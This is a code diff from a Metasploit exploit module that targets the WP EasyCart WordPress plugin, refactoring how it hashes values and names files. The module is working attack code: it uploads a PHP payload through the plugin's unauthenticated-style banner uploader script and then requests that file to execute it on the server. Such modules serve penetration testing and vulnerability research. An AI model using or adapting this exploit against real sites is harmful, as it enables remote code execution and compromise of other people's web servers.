4
4
##
5
5
6
6
require 'msf/core'
7
- require 'digest/md5'
8
7
9
8
class Metasploit3 < Msf ::Exploit ::Remote
10
9
Rank = ExcellentRanking
@@ -91,7 +90,7 @@ def req_id
91
90
if ec_password_is_hash
92
91
return ec_password
93
92
else
94
- return Digest :: MD5 . hexdigest ( ec_password )
93
+ return Rex :: Text . md5 ( ec_password )
95
94
end
96
95
end
97
96
@@ -107,11 +106,15 @@ def generate_mime_message(payload, date_hash, name, include_req_id)
107
106
data
108
107
end
109
108
110
- def exploit
109
+ def setup
111
110
if !use_wordpress_authentication && !use_ec_authentication
112
111
fail_with ( Failure ::BadConfig , 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value' )
113
112
end
114
113
114
+ super
115
+ end
116
+
117
+ def exploit
115
118
vprint_status ( "#{ peer } - WordPress authentication attack is enabled" ) if use_wordpress_authentication
116
119
vprint_status ( "#{ peer } - EC authentication attack is enabled" ) if use_ec_authentication
117
120
@@ -134,10 +137,11 @@ def exploit
134
137
135
138
print_status ( "#{ peer } - Preparing payload..." )
136
139
payload_name = Rex ::Text . rand_text_alpha ( 10 )
137
- date_hash = Digest ::MD5 . hexdigest ( Time . now . to_s )
140
+ date_hash = Rex ::Text . md5 ( Time . now . to_s )
141
+ uploaded_filename = "#{ payload_name } _#{ date_hash } .php"
138
142
plugin_url = normalize_uri ( wordpress_url_plugins , 'wp-easycart' )
139
143
uploader_url = normalize_uri ( plugin_url , 'inc' , 'amfphp' , 'administration' , 'banneruploaderscript.php' )
140
- payload_url = normalize_uri ( plugin_url , 'products' , 'banners' , " #{ payload_name } _ #{ date_hash } .php" )
144
+ payload_url = normalize_uri ( plugin_url , 'products' , 'banners' , uploaded_filename )
141
145
data = generate_mime_message ( payload , date_hash , "#{ payload_name } .php" , use_ec_authentication )
142
146
143
147
print_status ( "#{ peer } - Uploading payload to #{ payload_url } " )
@@ -153,7 +157,7 @@ def exploit
153
157
vprint_error ( "#{ peer } - Server responded with status code #{ res . code } " ) if res . code != 200
154
158
155
159
print_status ( "#{ peer } - Executing the payload..." )
156
- register_files_for_cleanup ( " #{ payload_name } _ #{ date_hash } .php" )
160
+ register_files_for_cleanup ( uploaded_filename )
157
161
res = send_request_cgi (
158
162
{
159
163
'uri' => payload_url ,
0 commit comments